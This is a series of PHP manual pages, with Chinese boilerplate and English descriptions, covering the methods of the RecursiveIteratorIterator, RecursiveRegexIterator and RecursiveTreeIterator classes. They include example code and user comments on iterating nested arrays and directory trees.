  • RecursiveIteratorIterator::beginIteration ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Begin children

RecursiveIteratorIterator::beginChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::beginChildren — Begin children

说明

public RecursiveIteratorIterator::beginChildren(): void

Is called after calling RecursiveIteratorIterator::getChildren(), and its associated RecursiveIteratorIterator::rewind().

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Begin Iteration

  • ? RecursiveIteratorIterator::beginChildren
  • RecursiveIteratorIterator::callGetChildren ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Begin Iteration

RecursiveIteratorIterator::beginIteration

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::beginIteration — Begin Iteration

说明

public RecursiveIteratorIterator::beginIteration(): void

Called when iteration begins (after the first RecursiveIteratorIterator::rewind() call.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Get children

  • ? RecursiveIteratorIterator::beginIteration
  • RecursiveIteratorIterator::callHasChildren ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Get children

RecursiveIteratorIterator::callGetChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::callGetChildren — Get children

说明

public RecursiveIteratorIterator::callGetChildren(): ?RecursiveIterator

Get children of the current element.

参数

此函数没有参数。

返回值

A RecursiveIterator() on success, or null on failure.

User Contributed Notes

There are no user contributed notes for this page.


Has children

  • ? RecursiveIteratorIterator::callGetChildren
  • RecursiveIteratorIterator::__construct ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Has children

RecursiveIteratorIterator::callHasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::callHasChildren — Has children

说明

public RecursiveIteratorIterator::callHasChildren(): bool

Called for each element to test whether it has children.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns whether the element has children.

User Contributed Notes

There are no user contributed notes for this page.


Construct a RecursiveIteratorIterator

  • ? RecursiveIteratorIterator::callHasChildren
  • RecursiveIteratorIterator::current ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Construct a RecursiveIteratorIterator

RecursiveIteratorIterator::__construct

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

RecursiveIteratorIterator::__construct — Construct a RecursiveIteratorIterator

说明

public RecursiveIteratorIterator::__construct(Traversable $iterator, int $mode = RecursiveIteratorIterator::LEAVES_ONLY, int $flags = 0)

Creates a RecursiveIteratorIterator from a RecursiveIterator.

参数

iterator

The iterator being constructed from. Either a RecursiveIterator or IteratorAggregate.

mode

Optional mode. Possible values are

  • RecursiveIteratorIterator::LEAVES_ONLY - The default. Lists only leaves in iteration.
  • RecursiveIteratorIterator::SELF_FIRST - Lists leaves and parents in iteration with parents coming first.
  • RecursiveIteratorIterator::CHILD_FIRST - Lists leaves and parents in iteration with leaves coming first.

flags

Optional flag. Possible values are RecursiveIteratorIterator::CATCH_GET_CHILD which will then ignore exceptions thrown in calls to RecursiveIteratorIterator::getChildren().

示例

Example #1 Iterating a RecursiveIteratorIterator

<?php
$array = array(
array(
array(
array(
'leaf-0-0-0-0',
'leaf-0-0-0-1'
),
'leaf-0-0-0'
),
array(
array(
'leaf-0-1-0-0',
'leaf-0-1-0-1'
),
'leaf-0-1-0'
),
'leaf-0-0'
)
);

$iterator = new RecursiveIteratorIterator(
new RecursiveArrayIterator($array),
$mode
);
foreach ($iterator as $key => $leaf) {
echo "$key => $leaf", PHP_EOL;
}
?>

Output with $mode = RecursiveIteratorIterator::LEAVES_ONLY

0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
0 => leaf-0-0-0
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
0 => leaf-0-1-0
0 => leaf-0-0

Output with $mode = RecursiveIteratorIterator::SELF_FIRST

0 => Array
0 => Array
0 => Array
0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
1 => leaf-0-0-0
1 => Array
0 => Array
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
1 => leaf-0-1-0
2 => leaf-0-0

Output with $mode = RecursiveIteratorIterator::CHILD_FIRST

0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
0 => Array
1 => leaf-0-0-0
0 => Array
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
0 => Array
1 => leaf-0-1-0
1 => Array
2 => leaf-0-0
0 => Array

User Contributed Notes

Tom 06-Jan-2011 01:13
Note: the missing documentation of the argument list for this constructor is currently as follows (according to source code).

Param iter: see RecursiveIterator

Param mode:
- LEAVES_ONLY = (default) only iterate leaves
- SELF_FIRST = iterate parents prior to children
- CHILD_FIRST = iterate children prior to parents

Param flags:
- CATCH_GET_CHILD = ignore exceptions in getChildren() call
Matt Creenan 05-Mar-2010 09:39
Note that LEAVES_ONLY, SELF_FIRST and CHILD_FIRST do not work by themselves.

They are class constants so you need to use RecursiveIteratorIterator::LEAVES_ONLY, etc.


Access the current element value

  • ? RecursiveIteratorIterator::__construct
  • RecursiveIteratorIterator::endChildren ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Access the current element value

RecursiveIteratorIterator::current

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::current — Access the current element value

说明

public RecursiveIteratorIterator::current(): mixed
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The current elements value.

User Contributed Notes

There are no user contributed notes for this page.


End children

  • ? RecursiveIteratorIterator::current
  • RecursiveIteratorIterator::endIteration ?
  • PHP Manual
  • RecursiveIteratorIterator
  • End children

RecursiveIteratorIterator::endChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::endChildren — End children

说明

public RecursiveIteratorIterator::endChildren(): void

Called when end recursing one level.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

Tom 06-Jan-2011 01:20
According to the source code documentation, this function is not implemented.

It is used as a hook. You need to overwrite it in your derived class. Don't call it yourself, it is called automatically.

Documentation: Template method provided for overriding classes, called after an iteterator has been used up.
(Default implementation does nothing.)


End Iteration

  • ? RecursiveIteratorIterator::endChildren
  • RecursiveIteratorIterator::getDepth ?
  • PHP Manual
  • RecursiveIteratorIterator
  • End Iteration

RecursiveIteratorIterator::endIteration

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::endIteration — End Iteration

说明

public RecursiveIteratorIterator::endIteration(): void

Called when the iteration ends (when RecursiveIteratorIterator::valid() first returns false.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

Tom 06-Jan-2011 01:23
Some source code documentation that I found on this function currently says: Template method provided for overriding classes, default implementation does nothing.


Get the current depth of the recursive iteration

  • ? RecursiveIteratorIterator::endIteration
  • RecursiveIteratorIterator::getInnerIterator ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Get the current depth of the recursive iteration

RecursiveIteratorIterator::getDepth

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::getDepth — Get the current depth of the recursive iteration

说明

public RecursiveIteratorIterator::getDepth(): int
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The current depth of the recursive iteration.

User Contributed Notes

spicypixel at gmail dot com 08-May-2018 08:58
Example to only return directories that are a specified depth in a tree:

<?php
function directory_mapper($path)
{
    $maxDepth = 3;
    $minDepth = 3;
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST,
        RecursiveIteratorIterator::CATCH_GET_CHILD// Ignore "Permission denied"
    );
    $iterator->setMaxDepth($maxDepth);

    $paths = array($path);
    foreach ($iterator as $path => $dir) {
        if ($iterator->getDepth() >= $minDepth) {
            if ($dir->isDir()) {
                $paths[] = $path;
            }
        }

    }
    array_shift($paths);
    return $paths;
}
?>


Get inner iterator

  • ? RecursiveIteratorIterator::getDepth
  • RecursiveIteratorIterator::getMaxDepth ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Get inner iterator

RecursiveIteratorIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::getInnerIterator — Get inner iterator

说明

public RecursiveIteratorIterator::getInnerIterator(): RecursiveIterator

Gets the current active sub iterator.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The current active sub iterator.

User Contributed Notes

There are no user contributed notes for this page.


Get max depth

  • ? RecursiveIteratorIterator::getInnerIterator
  • RecursiveIteratorIterator::getSubIterator ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Get max depth

RecursiveIteratorIterator::getMaxDepth

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::getMaxDepth — Get max depth

说明

public RecursiveIteratorIterator::getMaxDepth(): int|false

Gets the maximum allowable depth.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The maximum accepted depth, or false if any depth is allowed.

参见

  • RecursiveIteratorIterator::setMaxDepth() - Set max depth

User Contributed Notes

There are no user contributed notes for this page.


The current active sub iterator

  • ? RecursiveIteratorIterator::getMaxDepth
  • RecursiveIteratorIterator::key ?
  • PHP Manual
  • RecursiveIteratorIterator
  • The current active sub iterator

RecursiveIteratorIterator::getSubIterator

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::getSubIterator — The current active sub iterator

说明

public RecursiveIteratorIterator::getSubIterator(?int $level = null): ?RecursiveIterator
Warning

本函数还未编写文档，仅有参数列表。

参数

level

返回值

The current active sub iterator on success; null on failure.

更新日志

版本 | 说明
8.0.0 | level is now nullable.

User Contributed Notes

lovePhp 08-Dec-2018 10:52
Please document this method. I have found a use for it and would love to better understand how it works. TY : )


Access the current key

  • ? RecursiveIteratorIterator::getSubIterator
  • RecursiveIteratorIterator::next ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Access the current key

RecursiveIteratorIterator::key

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::key — Access the current key

说明

public RecursiveIteratorIterator::key(): mixed
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The current key.

User Contributed Notes

There are no user contributed notes for this page.


Move forward to the next element

  • ? RecursiveIteratorIterator::key
  • RecursiveIteratorIterator::nextElement ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Move forward to the next element

RecursiveIteratorIterator::next

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::next — Move forward to the next element

说明

public RecursiveIteratorIterator::next(): void
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Next element

  • ? RecursiveIteratorIterator::next
  • RecursiveIteratorIterator::rewind ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Next element

RecursiveIteratorIterator::nextElement

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::nextElement — Next element

说明

public RecursiveIteratorIterator::nextElement(): void

Called when the next element is available.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator to the first element of the top level inner iterator

  • ? RecursiveIteratorIterator::nextElement
  • RecursiveIteratorIterator::setMaxDepth ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Rewind the iterator to the first element of the top level inner iterator

RecursiveIteratorIterator::rewind

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::rewind — Rewind the iterator to the first element of the top level inner iterator

说明

public RecursiveIteratorIterator::rewind(): void
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Set max depth

  • ? RecursiveIteratorIterator::rewind
  • RecursiveIteratorIterator::valid ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Set max depth

RecursiveIteratorIterator::setMaxDepth

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::setMaxDepth — Set max depth

说明

public RecursiveIteratorIterator::setMaxDepth(int $maxDepth = -1): void

Set the maximum allowed depth.

Warning

本函数还未编写文档，仅有参数列表。

参数

maxDepth

The maximum allowed depth. -1 is used for any depth.

返回值

没有返回值。

错误／异常

Emits an Exception if maxDepth is less than -1.

User Contributed Notes

Anonymous 15-Feb-2020 12:53
to only access the current folder:
$max_depth = 0;
Anonymous 05-Feb-2020 07:56
I didn't understand what to do with this statement:

RecursiveIteratorIterator::setMaxDepth ([ int $max_depth = -1 ] ) : void

So, after finding the answer, this is how you incorporate it (for anyone else who was stuck for a while like me!):

// define the depth of the tree to which you want to search
// where -1 = show all layers below the parent
// and 1 = show the first layer, etc, etc
$max_depth = -1;

// set the path to the directory
$this_directory

// do the search
$recursive = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($this_directory));

// now adjust the contents to your desired depth
$recursive->setMaxDepth($max_depth);


Check whether the current position is valid

  • ? RecursiveIteratorIterator::setMaxDepth
  • RecursiveRegexIterator ?
  • PHP Manual
  • RecursiveIteratorIterator
  • Check whether the current position is valid

RecursiveIteratorIterator::valid

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::valid — Check whether the current position is valid

说明

public RecursiveIteratorIterator::valid(): bool
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true if the current position is valid, otherwise false

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveRegexIterator class

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

简介

This recursive iterator can filter another recursive iterator via a regular expression.

类摘要

class RecursiveRegexIterator extends RegexIterator implements RecursiveIterator {
/* 继承的常量 */
public const int RegexIterator::USE_KEY;
public const int RegexIterator::INVERT_MATCH;
public const int RegexIterator::MATCH;
public const int RegexIterator::GET_MATCH;
public const int RegexIterator::ALL_MATCHES;
public const int RegexIterator::SPLIT;
public const int RegexIterator::REPLACE;
/* 继承的属性 */
public ?string $replacement = null;
/* 方法 */
public __construct(
RecursiveIterator $iterator,
string $pattern,
int $mode = RecursiveRegexIterator::MATCH,
int $flags = 0,
int $pregFlags = 0
)
public getChildren(): RecursiveRegexIterator
public hasChildren(): bool
/* 继承的方法 */
public RegexIterator::accept(): bool
public RegexIterator::getFlags(): int
public RegexIterator::getMode(): int
public RegexIterator::getPregFlags(): int
public RegexIterator::getRegex(): string
public RegexIterator::setFlags(int $flags): void
public RegexIterator::setMode(int $mode): void
public RegexIterator::setPregFlags(int $pregFlags): void
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Table of Contents

  • RecursiveRegexIterator::__construct — Creates a new RecursiveRegexIterator
  • RecursiveRegexIterator::getChildren — Returns an iterator for the current entry
  • RecursiveRegexIterator::hasChildren — Returns whether an iterator can be obtained for the current entry

User Contributed Notes

There are no user contributed notes for this page.


Creates a new RecursiveRegexIterator

  • ? RecursiveRegexIterator
  • RecursiveRegexIterator::getChildren ?
  • PHP Manual
  • RecursiveRegexIterator
  • Creates a new RecursiveRegexIterator

RecursiveRegexIterator::__construct

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RecursiveRegexIterator::__construct — Creates a new RecursiveRegexIterator

说明

public RecursiveRegexIterator::__construct(
RecursiveIterator $iterator,
string $pattern,
int $mode = RecursiveRegexIterator::MATCH,
int $flags = 0,
int $pregFlags = 0
)

Creates a new regular expression iterator.

参数

iterator

The recursive iterator to apply this regex filter to.

pattern

The regular expression to match.

mode

Operation mode, see RegexIterator::setMode() for a list of modes.

flags

Special flags, see RegexIterator::setFlags() for a list of available flags.

pregFlags

The regular expression flags. These flags depend on the operation mode parameter:

RegexIterator preg_flags
operation mode | available flags
RecursiveRegexIterator::ALL_MATCHES | See preg_match_all().
RecursiveRegexIterator::GET_MATCH | See preg_match().
RecursiveRegexIterator::MATCH | See preg_match().
RecursiveRegexIterator::REPLACE | none.
RecursiveRegexIterator::SPLIT | See preg_split().

示例

Example #1 RecursiveRegexIterator::__construct() example

Creates a new RegexIterator that filters all strings that start with 'test'.

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $key1 => $value1) {

if ($rRegexIterator->hasChildren()) {

// print all children
echo "Children: ";
foreach ($rRegexIterator->getChildren() as $key => $value) {
echo $value . " ";
}
echo "\n";
} else {
echo "No children\n";
}

}
?>

以上示例的输出类似于：

No children
Children: test4 test5

参见

  • preg_match() - 执行匹配正则表达式
  • preg_match_all() - 执行一个全局正则表达式匹配
  • preg_replace() - 执行一个正则表达式的搜索和替换
  • preg_split() - 通过一个正则表达式分隔字符串

User Contributed Notes

SongoQ 27-Oct-2009 11:22
RecursiveRegexIterator::ALL_MATCHES List all subdirectories and files.

<?php

$a = new RecursiveRegexIterator( new RecursiveDirectoryIterator(
'/home/songoq' ), '/mydir/i', RecursiveRegexIterator::ALL_MATCHES );

foreach( new RecursiveIteratorIterator( $a ) as $s )
{
       echo $s."\n";
}


Returns an iterator for the current entry

  • ? RecursiveRegexIterator::__construct
  • RecursiveRegexIterator::hasChildren ?
  • PHP Manual
  • RecursiveRegexIterator
  • Returns an iterator for the current entry

RecursiveRegexIterator::getChildren

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RecursiveRegexIterator::getChildren — Returns an iterator for the current entry

说明

public RecursiveRegexIterator::getChildren(): RecursiveRegexIterator

Returns an iterator for the current iterator entry.

参数

此函数没有参数。

返回值

An iterator for the current entry, if it can be iterated over by the inner iterator.

错误／异常

An InvalidArgumentException will be thrown if the current entry does not contain a value that can be iterated over by the inner iterator.

示例

Example #1 RecursiveRegexIterator::getChildren() example

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $key1 => $value1) {

if ($rRegexIterator->hasChildren()) {

// print all children
echo "Children: ";
foreach ($rRegexIterator->getChildren() as $key => $value) {
echo $value . " ";
}
echo "\n";
} else {
echo "No children\n";
}

}
?>

以上示例会输出：

No children
Children: test4 test5

参见

  • RecursiveRegexIterator::hasChildren() - Returns whether an iterator can be obtained for the current entry

User Contributed Notes

There are no user contributed notes for this page.


Returns whether an iterator can be obtained for the current entry

  • ? RecursiveRegexIterator::getChildren
  • RecursiveTreeIterator ?
  • PHP Manual
  • RecursiveRegexIterator
  • Returns whether an iterator can be obtained for the current entry

RecursiveRegexIterator::hasChildren

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RecursiveRegexIterator::hasChildren — Returns whether an iterator can be obtained for the current entry

说明

public RecursiveRegexIterator::hasChildren(): bool

Returns whether an iterator can be obtained for the current entry. This iterator can be obtained via RecursiveRegexIterator::getChildren().

参数

此函数没有参数。

返回值

Returns true if an iterator can be obtained for the current entry, otherwise returns false.

示例

Example #1 RecursiveRegexIterator::hasChildren() example

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $value) {
var_dump($rRegexIterator->hasChildren());
}
?>

以上示例会输出：

bool(false)
bool(true)

参见

  • RecursiveRegexIterator::getChildren() - Returns an iterator for the current entry

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveTreeIterator class

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

Allows iterating over a RecursiveIterator to generate an ASCII graphic tree.

类摘要

class RecursiveTreeIterator extends RecursiveIteratorIterator {
/* 继承的常量 */
public const int RecursiveIteratorIterator::LEAVES_ONLY;
public const int RecursiveIteratorIterator::SELF_FIRST;
public const int RecursiveIteratorIterator::CHILD_FIRST;
public const int RecursiveIteratorIterator::CATCH_GET_CHILD;
/* 常量 */
public const int BYPASS_CURRENT;
public const int BYPASS_KEY;
public const int PREFIX_LEFT;
public const int PREFIX_MID_HAS_NEXT = 1;
public const int PREFIX_MID_LAST = 2;
public const int PREFIX_END_HAS_NEXT = 3;
public const int PREFIX_END_LAST = 4;
public const int PREFIX_RIGHT = 5;
/* 方法 */
public __construct(
RecursiveIterator|IteratorAggregate $iterator,
int $flags = RecursiveTreeIterator::BYPASS_KEY,
int $cachingIteratorFlags = CachingIterator::CATCH_GET_CHILD,
int $mode = RecursiveTreeIterator::SELF_FIRST
)
public beginChildren(): void
public beginIteration(): RecursiveIterator
public callGetChildren(): RecursiveIterator
public callHasChildren(): bool
public current(): mixed
public endChildren(): void
public endIteration(): void
public getEntry(): string
public getPostfix(): string
public getPrefix(): string
public key(): mixed
public next(): void
public nextElement(): void
public rewind(): void
public setPostfix(string $postfix): void
public setPrefixPart(int $part, string $value): void
public valid(): bool
/* 继承的方法 */
public RecursiveIteratorIterator::beginChildren(): void
public RecursiveIteratorIterator::beginIteration(): void
public RecursiveIteratorIterator::callGetChildren(): ?RecursiveIterator
public RecursiveIteratorIterator::callHasChildren(): bool
public RecursiveIteratorIterator::current(): mixed
public RecursiveIteratorIterator::endChildren(): void
public RecursiveIteratorIterator::endIteration(): void
public RecursiveIteratorIterator::getDepth(): int
public RecursiveIteratorIterator::getInnerIterator(): RecursiveIterator
public RecursiveIteratorIterator::getMaxDepth(): int|false
public RecursiveIteratorIterator::getSubIterator(?int $level = null): ?RecursiveIterator
public RecursiveIteratorIterator::key(): mixed
public RecursiveIteratorIterator::next(): void
public RecursiveIteratorIterator::nextElement(): void
public RecursiveIteratorIterator::rewind(): void
public RecursiveIteratorIterator::setMaxDepth(int $maxDepth = -1): void
public RecursiveIteratorIterator::valid(): bool
}

预定义常量

RecursiveTreeIterator::BYPASS_CURRENT

RecursiveTreeIterator::BYPASS_KEY

RecursiveTreeIterator::PREFIX_LEFT

RecursiveTreeIterator::PREFIX_MID_HAS_NEXT

RecursiveTreeIterator::PREFIX_MID_LAST

RecursiveTreeIterator::PREFIX_END_HAS_NEXT

RecursiveTreeIterator::PREFIX_END_LAST

RecursiveTreeIterator::PREFIX_RIGHT

Table of Contents

  • RecursiveTreeIterator::beginChildren — Begin children
  • RecursiveTreeIterator::beginIteration — Begin iteration
  • RecursiveTreeIterator::callGetChildren — Get children
  • RecursiveTreeIterator::callHasChildren — Has children
  • RecursiveTreeIterator::__construct — Construct a RecursiveTreeIterator
  • RecursiveTreeIterator::current — Get current element
  • RecursiveTreeIterator::endChildren — End children
  • RecursiveTreeIterator::endIteration — End iteration
  • RecursiveTreeIterator::getEntry — Get current entry
  • RecursiveTreeIterator::getPostfix — Get the postfix
  • RecursiveTreeIterator::getPrefix — Get the prefix
  • RecursiveTreeIterator::key — Get the key of the current element
  • RecursiveTreeIterator::next — Move to next element
  • RecursiveTreeIterator::nextElement — Next element
  • RecursiveTreeIterator::rewind — Rewind iterator
  • RecursiveTreeIterator::setPostfix — Set postfix
  • RecursiveTreeIterator::setPrefixPart — Set a part of the prefix
  • RecursiveTreeIterator::valid — Check validity

User Contributed Notes

matthieu88160 13-Feb-2017 12:14
$it = new RecursiveArrayIterator(array(1, 2, array(3, 4, array(5, 6, 7), 8), 9, 10));
$tit = new RecursiveTreeIterator($it);

foreach( $tit as $key => $value ){
    echo $value . PHP_EOL;
}

/* Will output

|-1
|-2
|-Array
| |-3
| |-4
| |-Array
| | |-5
| | |-6
| | \-7
| \-8
|-9
\-10

*/


Begin children

  • ? RecursiveTreeIterator
  • RecursiveTreeIterator::beginIteration ?
  • PHP Manual
  • RecursiveTreeIterator
  • Begin children

RecursiveTreeIterator::beginChildren

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::beginChildren — Begin children

说明

public RecursiveTreeIterator::beginChildren(): void

Called when recursing one level down.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Begin iteration

  • ? RecursiveTreeIterator::beginChildren
  • RecursiveTreeIterator::callGetChildren ?
  • PHP Manual
  • RecursiveTreeIterator
  • Begin iteration

RecursiveTreeIterator::beginIteration

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::beginIteration — Begin iteration

说明

public RecursiveTreeIterator::beginIteration(): RecursiveIterator

Called when iteration begins (after the first RecursiveTreeIterator::rewind() call).

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A RecursiveIterator.

User Contributed Notes

There are no user contributed notes for this page.


Get children

  • ? RecursiveTreeIterator::beginIteration
  • RecursiveTreeIterator::callHasChildren ?
  • PHP Manual
  • RecursiveTreeIterator
  • Get children

RecursiveTreeIterator::callGetChildren

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::callGetChildren — Get children

说明

public RecursiveTreeIterator::callGetChildren(): RecursiveIterator

Gets children of the current element.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A RecursiveIterator.

User Contributed Notes

There are no user contributed notes for this page.


Has children

  • ? RecursiveTreeIterator::callGetChildren
  • RecursiveTreeIterator::__construct ?
  • PHP Manual
  • RecursiveTreeIterator
  • Has children

RecursiveTreeIterator::callHasChildren

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::callHasChildren — Has children

说明

public RecursiveTreeIterator::callHasChildren(): bool

Called for each element to test whether it has children.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true if there are children, otherwise false

User Contributed Notes

There are no user contributed notes for this page.


Construct a RecursiveTreeIterator

  • ? RecursiveTreeIterator::callHasChildren
  • RecursiveTreeIterator::current ?
  • PHP Manual
  • RecursiveTreeIterator
  • Construct a RecursiveTreeIterator

RecursiveTreeIterator::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::__construct — Construct a RecursiveTreeIterator

说明

public RecursiveTreeIterator::__construct(
RecursiveIterator|IteratorAggregate $iterator,
int $flags = RecursiveTreeIterator::BYPASS_KEY,
int $cachingIteratorFlags = CachingIterator::CATCH_GET_CHILD,
int $mode = RecursiveTreeIterator::SELF_FIRST
)

Constructs a new RecursiveTreeIterator from the supplied recursive iterator.

Warning

本函数还未编写文档，仅有参数列表。

参数

iterator

The RecursiveIterator or IteratorAggregate to iterate over.

flags

Flags may be provided which will affect the behavior of some methods. A list of the flags can found under RecursiveTreeIterator predefined constants.

caching_it_flags

Flags to affect the behavior of the RecursiveCachingIterator used internally.

mode

Flags to affect the behavior of the RecursiveIteratorIterator used internally.

User Contributed Notes

There are no user contributed notes for this page.


Get current element

  • ? RecursiveTreeIterator::__construct
  • RecursiveTreeIterator::endChildren ?
  • PHP Manual
  • RecursiveTreeIterator
  • Get current element

RecursiveTreeIterator::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::current — Get current element

说明

public RecursiveTreeIterator::current(): mixed

Gets the current element prefixed and postfixed.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns the current element prefixed and postfixed.

User Contributed Notes

There are no user contributed notes for this page.


End children

  • ? RecursiveTreeIterator::current
  • RecursiveTreeIterator::endIteration ?
  • PHP Manual
  • RecursiveTreeIterator
  • End children

RecursiveTreeIterator::endChildren

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::endChildren — End children

说明

public RecursiveTreeIterator::endChildren(): void

Called when end recursing one level.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


End iteration

  • ? RecursiveTreeIterator::endChildren
  • RecursiveTreeIterator::getEntry ?
  • PHP Manual
  • RecursiveTreeIterator
  • End iteration

RecursiveTreeIterator::endIteration

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::endIteration — End iteration

说明

public RecursiveTreeIterator::endIteration(): void

Called when the iteration ends (when RecursiveTreeIterator::valid() first returns false)

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Get current entry

  • ? RecursiveTreeIterator::endIteration
  • RecursiveTreeIterator::getPostfix ?
  • PHP Manual
  • RecursiveTreeIterator
  • Get current entry

RecursiveTreeIterator::getEntry

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::getEntry — Get current entry

说明

public RecursiveTreeIterator::getEntry(): string

Gets the part of the tree built for the current element.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns the part of the tree built for the current element.

User Contributed Notes

There are no user contributed notes for this page.


Get the postfix

  • ? RecursiveTreeIterator::getEntry
  • RecursiveTreeIterator::getPrefix ?
  • PHP Manual
  • RecursiveTreeIterator
  • Get the postfix

RecursiveTreeIterator::getPostfix

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::getPostfix — Get the postfix

说明

public RecursiveTreeIterator::getPostfix(): string

Gets the string to place after the current element.

Warning

本函数还未编写文档，仅有参数列表。

参数

